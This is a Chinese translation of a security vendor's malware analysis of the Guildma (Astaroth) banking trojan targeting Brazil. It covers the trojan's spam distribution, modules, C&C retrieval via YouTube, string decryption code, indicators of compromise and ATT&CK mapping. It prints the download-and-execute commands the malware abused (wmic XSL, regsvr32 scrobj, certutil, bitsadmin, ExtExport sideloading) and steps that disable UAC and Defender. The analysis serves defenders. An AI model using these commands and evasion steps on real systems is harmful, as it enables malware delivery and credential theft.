Guildma银行木马:攻击者实现的技术创新
2020-04-07 10:15:00 Author: www.4hou.com(查看原文) 阅读量:233 收藏

一、概述

在本文中,我们将主要分析Guildma(也称为Astaroth)——一个非常流行的拉丁美洲银行木马。该木马是使用Delphi编写,主要针对巴西为目标,其中使用了一些具有创新性的执行和攻击技术。我们在本文中将分析该木马的最新版本,重点说明自2019年年中Guildma相关的恶意活动与该木马的显著变化。

二、特点

Guildma是专门针对巴西的拉丁美洲银行木马。根据我们的遥测技术,结合该木马所受到的广泛关注,我们认为它是该地区最具影响力和最为先进的银行木马。除了针对金融机构之外,Guildma还尝试窃取电子邮件帐户、电子商店和流媒体服务的凭据,这一点与其他拉丁美洲银行木马一样,但Guildma的受害者人数至少是其他银行木马的十倍。该木马使用了创新性的执行方法和复杂的攻击技术。

与我们先前描述的拉丁美洲银行木马不同,Guildma不会在二进制文件中存储其使用的虚假弹出窗口。相反,攻击是由其C&C服务器精心策划的。这为木马作者提供了更大的灵活性,可以针对目标银行实施的对策做出反应。

Guildma实现了以下后门功能:

1. 截图;

2. 捕获键盘输入;

3. 模拟鼠标和键盘;

4. 阻止快捷方式(例如禁用Alt+F4,导致用户更难以关闭显示的虚假窗口);

5. 下载并执行文件;

6. 重启计算机。

Guildma是高度模块化的木马。在撰写本文时,该木马由10个模块组成,其中不包含分销链阶段。各个模块的具体功能将在后面详细讨论。

三、分销链的演变

我们的遥测表明,Guildma仅通过带有恶意附件的垃圾邮件进行传播。下面是自2019年11月中旬开始的恶意活动中的样本。

垃圾邮件示例(翻译:“你好,请向我解释这些照片。我正在等待你的解释!”)

1.png

垃圾邮件示例(翻译:“尊敬的consórcio用户,附件是编号75432的出价证明。”)

2.png

垃圾邮件示例(翻译:“早上好,我发送的是转账证明 – 花旗银行文档”)

3.png

垃圾邮件示例(虚假收据提醒,指出需要在后天进行付款,并且付款最多可能需要72小时才能处理)

4.png

Guildma分销链的主要特点之一,就是使用系统上已经存在的工具,并且通常会采用新的方式或不同寻常的方式。

另外一个特点是复用技术。该木马会每隔一段时间就添加一个新技术,但是在大多数情况下,开发人员似乎只是在重用旧版本中的技术。

150版本中的Guildma分销链:

5.png

上图展示了150版本中的分销链,但实际上Guildma的分销链结构非常动态化。例如,在以前的版本中,上图所展示的恶意LNK文件未嵌入到ZIP压缩包中,或者使用了包含MSI安装程序的SFX RAR压缩包。另外,也曾经有另外一个Jscript阶段,其唯一目的是下载并执行最终的Jscript阶段。整体上,有一些更改的位置没有在本文中体现。实际上,唯一保持不变的部分是最后的Jscript阶段。

根据我们对该家族的长期深入数据跟踪,我们对Guildma的恶意活动进行了有效的描绘。

下图展示了Guildma第一阶段组件的所有ESET检测结果。如我们所见,这些恶意活动持续缓慢开展,直到2019年8月开展了大规模的恶意活动,在高峰时期,我们每天可以监测到多达50000个样本。这一次恶意活动持续了将近两个月,其恶意样本数量是我们在前10个月所检测到样本数量的两倍多。

自2018年10月以来第一阶段的Guildma检测情况:

6.png

接下来,我们针对过去14个月中,木马所使用的一些值得关注的技术展开详细分析。

3.1 Jscript阶段的执行

去年,Guildma使用了几种方法来执行其分销链的Jscript阶段。在2018年底,Guildma将其代码隐藏在可扩展样式表语言(.xsl)文件中,并使用wmic.exe下载并执行:

wmic.exe  /format:””

随后,它转到使用regsvr32.exe和scrobj.dll,下载Jscript实现的COM对象,并执行其注册例程(其中包含恶意代码):

regsvr32.exe /s /n /u /i: scrobj.dll

近期,木马作者开始滥用Windows资源管理器执行Jscript阶段。由于Windows资源管理器将尝试打开在命令行中与其关联程序一同传递的任何文件,并且.js文件的默认关联是Microsoft Windows Script Host,因此可以实现此攻击。传递给Windows资源管理器的“脚本”是一个命令,其目的是下载并执行实际的Jscript阶段:

echo GetObject(‘script:’) > .js | explorer.exe  .js

3.2 二进制模块的执行

PE模块的执行方法也是多种多样。

在我们开始追踪Guildma时,它滥用了Avast的aswRunDll.exe来启动第一个二进制阶段,regsvr32.exe则是未安装Avast产品的计算机中的故障转移。随后,将不再使用aswRunDll.exe,将regsvr32.exe作为唯一的执行方法。在短暂使用了rundll32.exe之后,Guildma切换到其当前的执行方法——ExtExport.exe。

ExtExport.exe是Microsoft Internet Explorer的未记录组件,用于从Mozilla Firefox和360安全浏览器中导出书签,并且可能会被DLL侧加载滥用。执行以下命令时,将会从命令行中指定的文件夹加载mozcrt19.dll、mozsqlite3.dll和sqlite3.dll:

C:\Program Files\Internet Explorer\ExtExport.exe

如果要滥用这个功能,只需要将投放的DLL作为上述文件之一即可,而Guildma使用全部这三个文件。

3.3 下载二进制模块

Guildma还使用了几种不同的方式来下载二进制模块。第一个版本将certutil.exe复制到certis.exe,其目的是为了逃避检测:

certis.exe -urlcache -split -f “< URL >” “< destination path >”

随后,作者切换到了BITSAdmin(Microsoft后台智能传输服务管理工具),在撰写本文时仍在使用这种方式:

bitsadmin.exe /transfer < random number > /priority foreground < URL > < destination >

在过去的几个月中,二进制模块被进行Base64编码后托管在Google Cloud上。在此期间,Guildma同时使用BITSAdmin和certutil – BITSAdmin的方式来下载模块,并使用certutil对其进行编码。

3.4 其他变化

Guildma使用奇怪的、非描述性的变量和函数名称。当我们开始追踪Guildma时,这些名称尽管毫无意义,但明显是人为设定的(例如:“radador”代表随机数函数,“Bxaki”代表下载函数)。在2019年6月,这些函数全部更改为看上去随机的名称(例如:“bx021”和“mrc430”)。最初,我们认为作者使用了某种自动脚本混淆器,但事实证明这是一次人工的修改,并且自从此次修改后,名称始终保持不变。

相对较新的一个功能是使用ADS(备用数据流)存储二进制模块,这是一种早期的技术。现在,所有模块都存储为单个文件的ADS(例如:“desktop.ini:nauwuygiaa.jpg”、“ desktop.ini:nauwuygiab.jpg”等)。

四、版本历史

Guildma在开发过程中似乎使用过许多版本,但是在不同的版本之间似乎很少会进行开发。考虑到该木马的体系结构中使用了硬编码的配置值,因此在大多数情况下,作者必须为每个新的恶意活动都重新编译所有二进制文件。显然,这项工作目前还无法自动化实现,因为在脚本和二进制文件的相邻版本发布之间存在较长的时间间隔。

在本文中,我们主要对150版本进行分析,但是自从我们开始撰写本文以来,已经发布了额外的两个版本。这两个版本在功能方面并没有实质性的改变,从而辅助证明了我们对Guildma开发周期的观点。

分销链的最后阶段曾经包含过一个版本名称,甚至在此之前,在下载的恶意文件和二进制模块中还包含这个名称。但是自从148版本以来,这一位置已经被替换为一个简单的“xXx”。

下表总结了自2018年10月开始,我们追踪Guildma以来发布过的所有版本。通过查看版本字符串,我们可以感觉到作者对于生态环境和汽车方面非常关注。

Guildma历史版本:

image.png

五、模块分析

如前所述,Guildma木马高度模块化。其模块的结构似乎基本保持不变。接下来,我们将简要描述每个模块的功能。

所有的模块名称都由一个相同的、与版本号相关的前缀和一个模块特定的后缀组成。在下表中,版本相关的前缀为andrealfo。

Guildma模块概述:image.png

除了主模块加载工具 1(*64.~)和主模块注入工具(*xa.gif、*xb.gif和*xc.gif)之外,所有模块都使用重复的32字节密钥进行简单的XOR。密钥是使用下图所示的算法由32位种子生成的。种子值在二进制文件中被混淆,以防止被研究人员轻松提取。

密钥生成算法:

key = bytearray ();
for i in range ( 32 ):
       key . append ( seed & 0xff );
       seed >>= 1;

有三个模块会与C&C服务器进行通信,分别是主模块、RAT模块以及联系人窃取工具和表单获取模块。在使用Base64和各种简单的自动加密算法对其进行加密后,通过HTTP(S)的方式进行传输,以保护传输的数据。

在下一节中,我们将描述如何获取C&C服务器地址。

5.1 主模块加载工具(*64.~)

这是其中的第一个二进制阶段。该文件是一个DLL,分为两个部分,由之前的Jscript阶段连接在一起。它加载构成下一个阶段加载工具的三个文件(*xa.gif、*xb.gif和*xc.gif),将其连接在一起,将生成的PE文件映射到其自己的地址空间并执行。

加载PE文件是一个相对复杂的过程,为此作者使用了BTMemoryModule开源库。

5.2 主模块注入工具(*xa.gif + *xb.gif + *xc.gif)

该模块从磁盘加载下一个阶段(*gx.gif)并将其解密。然后,它将运行以下列表中的第一个现有可执行文件,并将解密后的Payload注入到其中。

C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\Diebold\Warsaw\unins000.exe *
C:\Windows\SysWOW64\userinit.exe
C:\Windows\System32\userinit.exe

其中,*表示的是一个在巴西流行的应用程序,用于保护对网上银行的访问。

5.3 主模块加载工具2(*gx.gif)

最后一个加载工具阶段非常简单,似乎不必要地复制了主模块加载工具1的功能。它加载并解密主模块(* g.gif),并将其映射到自身的内存空间中并执行。

5.4 主模块(*g.gif)

Guildma的主模块编排了其他所有模块。其中,使用到了很多计时器和事件,这一实现过程看似复杂,但其功能实际上相对简单。它包含了不再使用的遗留代码,以及尚未使用的代码。

加载时,该模块会检查它是否在沙箱环境中运行(例如:通过检查计算机名称和系统磁盘卷ID),是否还有其他自身的运行实例(基于窗口名称)以及系统语言环境是否不属于葡萄牙语。如果上述任何一项检查没有通过,恶意软件都将会停止。

否则,该模块将会从系统收集信息(计算机名称、正在使用的安全软件、已安装的程序等),并与C&C服务器建立通信。然后,它开始监视特定的事件,主要是某些应用程序启动的事件,或在线银行网站打开的事件,并执行适当的操作,例如:截图、阻止键盘快捷键以防止用户关闭窗口、启动RAT模块等。

该模块中还实现了后门命令,其功能在很大程度上与RAT模块重合。

5.5 联系人窃取工具和表单获取模块(*c.jpg)

该模块具有两个函数,分别负责从网页收集电子邮件地址和表单数据。

通过解析电子邮件客户端的通讯录和电子邮件,可以获取到电子邮件地址。

表单获取模块使用Windows COM技术和Internet Explorer进行交互。它一直等待到打开目标站点(主要是巴西的邮件、电子商城和支付网关),然后将用户登录状态注销,迫使受害者输入凭据。随后,它检索DOM并查找关键的输入字段值(例如:用户名、密码和信用卡号)。

5.6 RAT模块(*dwwn.gif + *dx.gif)

RAT模块具有两个功能相同的编译文件,分别是DLL类型(*dwwn.gif)和EXE类型(*.dx.gif)。

它实现了下载和执行功能,可以获取屏幕截图、模拟键盘和鼠标输入以及重新启动计算机。

大多数拉丁美洲的银行木马都基于监视活动窗口的名称而显示伪装的弹出窗口。这些窗口通常存储在二进制文件中。我们在Guildma中没有找到这样的代码,但是RAT模块包含一个实现简单Web浏览器的Delphi表单。由于它也是根据活动窗口的名称执行的,因此我们认为这个表单也用于向用户显示虚假对话框。

5.7 MailPassView(*a.jpg)和BrowserPassView(*b.jpg)

这些都是Nirsoft的免费工具,用于从流行的电子邮件客户端和Web浏览器中提取保存的凭据。由于Nirsoft已经从较新的版本中删除了对静默操作(输出到文件,没有GUI)的支持,以抑制恶意软件对这些工具的滥用,因此Guildma的作者使用包含这些功能的旧版本。Mispadu也使用了相同的工具,但Mispadu使用的是较新版本,并且通过重新修补的方式支持静默操作。

5.8 Jscript投放模块(*i.gif)

该模块使用cscript.exe投放并执行Jscript文件。该脚本由两部分组成,第一部分存储为一个较长的加密字符串,而第二部分由许多短字符串(部分是加密字符串,部分是纯文本格式)组合而成。值得一提的是,投放的Jscript文件中的字符串已经被该投放模块使用随机生成的密钥加密,因此它们是以明文形式存储在投放模块中。

该脚本执行以下操作:

禁用UAC;

禁用EXE签名检查;

禁用Windows Defender;

创建防火墙规则,禁止对C:\Program Files\AVAST Software\Avast\Setup\avast.setup的网络访问;

禁用wsddntf驱动程序(Diebold Warsaw GAS Tecnologia是早期的网银防护软件);

为作为注入目标的文件添加防火墙例外:C:\Program Files\Diebold\Warsaw\unins000.exe和C:\Program Files\AVAST Software\Avast\aswRunDll.exe。

我们认为,该模块很可能仍然在开发中,因为我们在测试过程中没有观察到恶意软件会投放该脚本。

六、新版本的发展

6.1 新C&C检索

在版本142中,实施了一种分销C&C服务器的新方法,即滥用YouTube和Facebook个人资料。但是,作者几乎是马上就停止使用Facebook了,在撰写本文时,攻击者完全依赖于YouTube。这与Casbaneiro有些相似,但有些粗糙。实际上,Casbaneiro会将数据隐藏在视频描述中,并将其混淆为URL的一部分,而Guildma只是将数据放置在频道描述中。加密的C&C地址的开始和结束都使用“|||”作为分隔。中间的数据使用Mispadu的字符串加密算法进行Base64编码和加密。现在,这是检索C&C服务器的主要方法。而老方法仍然作为备用。

YouTube上存储的加密Guildma C&C服务器域名:

9.png

6.2 添加和删除模块

先前描述的Jscript投放工具模块是在145版本中添加的。相反,在139版本中,Guildma删除了旧版本中存在的其他两个模块——mass mailer(*f.jpg)及其加载工具(*e.jpg)。在接下来的几个版本中,这些模块仍然可以通过与其他模块相同格式的名称(

6.3 新的字符串加密

Jscript投放模块使用了新的字符串加密算法。这个算法的一种变体已经在147版本的其他模块中使用。

def decrypt ( ct, key ):
       # stage 1
       ct = unhexlify ( ct );
       last = ct [ 0 ];
       s = bytearray ( ct [ 1 : ] );
       for i in range ( len ( s ) ):
              x = s [ i ] ^ key [ i % len ( key ) ];
              if last > x:
                     x += 0xff;
              x -= last;
              last = s [ i ];
              s [ i ] = x;
 
       # stage 2 - reverse string
       s = s [::-1];
 
       # stage 3 - c = not ( c - 10 )
       s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
 
       # stage 4 - Base25 decode and key subtraction
       k = ord ( s [ 0 ] ) - 65;
       ot = "";
       for i in range ( 1, len ( s ), 2 ):
              ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
 
       return ot;

最初,Guildma使用与Casbaneiro相同的字符串加密。新算法分为四个阶段,原始的字符串加密算法仍然作为第一阶段。同样值得关注的是,第四阶段再次使用了Mispadu加密算法。

在148版本中,Guildma实现了字符串列表。所有字符串都在执行开始时被解密,并且根据需要从表格中查看。

6.4 移除国际目标

在138版本中,Guildma添加了针对巴西境外银行等机构的功能。尽管如此,我们还是没有观察到国际化的活动。在Cloudflare Workers的基础结构上托管文件的恶意活动,甚至可以阻止非巴西IP地址的任何下载。实际上,在过去的14个月中,我们还没有看到针对巴西境外用户的恶意活动。

最后,在145版本中,删除了针对巴西境外机构的功能。基于上述事实,我们认为这只是一个开发中的功能,最终被废弃了。

七、总结

在本文中,我们深入分析了一个最为流行的拉丁美洲银行木马Guildma,我们展现了该恶意软件丰富的发展历史,并重点关注最新的变种。

Guildma符合拉丁美洲银行木马的普遍特征。它使用Delphi编写,针对该地区,实现后门功能,并将其功能拆分成诸多模块,同时还滥用了合法的工具。

Guildma还与前面介绍的其他恶意软件家族具有很多共同的特征,其使用的加密算法结合了Casbaneiro和Mispadu所使用的算法。

八、威胁指标

8.1 SHA-1哈希值

45c58bc40768dce6a6c611e08fd34c62441aa77(主模块加载工具1,Win32/Spy.Guildma.BM)

861f20b0dcc55f94b4c43e4a7e77f042c21506cf(主模块注入工具,Win32/Spy.Guildma.BJ)

37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1(主模块加载工具2,Win32/Spy.Guildma.Q)

a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d(主模块,Win32/Spy.Guildma.BS)

4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc(联系人窃取工具和表单获取模块,Win32/Spy.Guildma.D)

6c9304c5862d4e0de1c86d7ae3764f5e8358daff(RAT模块-DLL,Win32/Spy.Guildma.BR)

89fbffe456de850f7abf4f97d3b9da4bad6afb57(RAT模块-EXE,Win32/Spy.Guildma.BR)

af0d495ecc3622b14a40ddcd8005873c5ddc3a2d(MailPassView,Win32/PSWTool.MailPassView.E)

92bcf54079cbba04f584eac4486473c3abdd88cd(WebBrowserPassView,Win32/PSWTool.WebBrowserPassView.E)

a2048f435f076988bf094274192a196216d75a5f(JScript投放工具模块,Win32/Spy.Guildma.BP)

8.2 文件名

C:\Users\Public\Libraries\qlanl\*

8.3 启动链接

位置:

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

目标:

C:\Program Files (x86)\Internet Explorer\ExtExport.exe

C:\Program Files\Internet Explorer\ExtExport.exe

参数:

< install dir > < rand > < rand >

(其中的< rand >是由字母qwertyuiop1lgfdsas2dfghj3zcvbm生成的5到9个字符的随机字符串)

8.4 C&C服务器

https://www.zvatrswtsrw[.]ml

https://xskcjzamlkxwo[.]gq

https://www.vhguyeu[.]ml

https://www.carnataldez[.]ml

https://www.movbmog[.]ga

https://iuiuytrytrewrqw[.]gq

https://www.gucinowertr[.]tk

https://equilibrios[.]ga

https://www.clooinfor[.]cf

https://ambirsr[.]tk

https://dbuhcbudyu[.]tk

https://nvfjvtntt[.]cf

http://whia7g.acquafufheirybveru[.]online

九、MITRE ATT&CK技术

9.1 初始访问

鱼叉式附件(T1193):Guildma分销链是从恶意电子邮件附件开始。

9.2 执行

1、Rundll32(T1073):Guildma利用rundll32.exe执行其二进制模块。

2、Windows管理规范(WMI,T1047):Guildma滥用WMIC.exe来执行其某些分销链阶段。

9.3 持久性

注册表运行键/启动文件夹(T1060):Guildma通过在%STARTUP%文件夹中创建LNK文件来确保持久性。

9.4 防御逃避

1、BITS任务(T1197):BITSAdmin.exe用于下载二进制模块。

2、禁用安全工具(T1089):Guildma禁用Windows Defender。

3、反混淆/编码文件或信息(T1140):下载后,大多数Guildma模块都需要解密。

4、DLL侧加载(T1073):Guildma滥用ExtExport.exe进行DLL侧加载。

5、NTFS文件属性(T1096):Guildma利用ADS将其模块隐藏在磁盘上。

6、进程注入(T1055):Guildma在执行其模块时,利用进程注入的方法。

7、使用脚本(T1064):Guildma使用各种脚本语言(主要是Jscript)实现其分销链阶段。

8、XSL脚本处理(T1220):Guildma在其分销链中使用XSL脚本。

9.5 凭据访问

1、文件中的凭据(T1081):Guildma提取Web浏览器和电子邮件客户端在文件中存储的凭据。

2、注册表中的凭据(T1214):Guildma提取Web浏览器和电子邮件客户端在Windows注册表中存储的凭据。

9.6 发现

1、文件和目录发现(T1083):Guildma根据某些文件是否存在来确定是否安装了银行软件和安全工具。

2、应用程序窗口发现(T1010):Guildma使用窗口发现来查找并终止其较早版本,并检测和试运行了特定的程序(例如:银行应用程序或Web浏览器)。

3、安全软件发现(T1063):Guildma检测几种特定安全产品是否存在。

4、系统信息发现(T1082):Guildma收集操作系统版本的体系架构、计算机名称和系统区域设置。

5、虚拟化/沙箱逃避:Guildma根据目录名称、计算机名称、卷ID和命名对象是否存在来判断是否存在沙箱和虚拟化环境。

9.7 收集

屏幕截图(T1113):Guildma可以截取屏幕快照。

9.8 命令和控制

自定义加密协议(T1024):使用自定义加密算法对新的C&C地址进行加密。

9.9 渗出

通过命令和控制通道渗出(T1041):Guildma将屏幕截图和日志文件上传到C&C服务器。

本文翻译自:https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/P5n1
如有侵权请联系:admin#unsafe.sh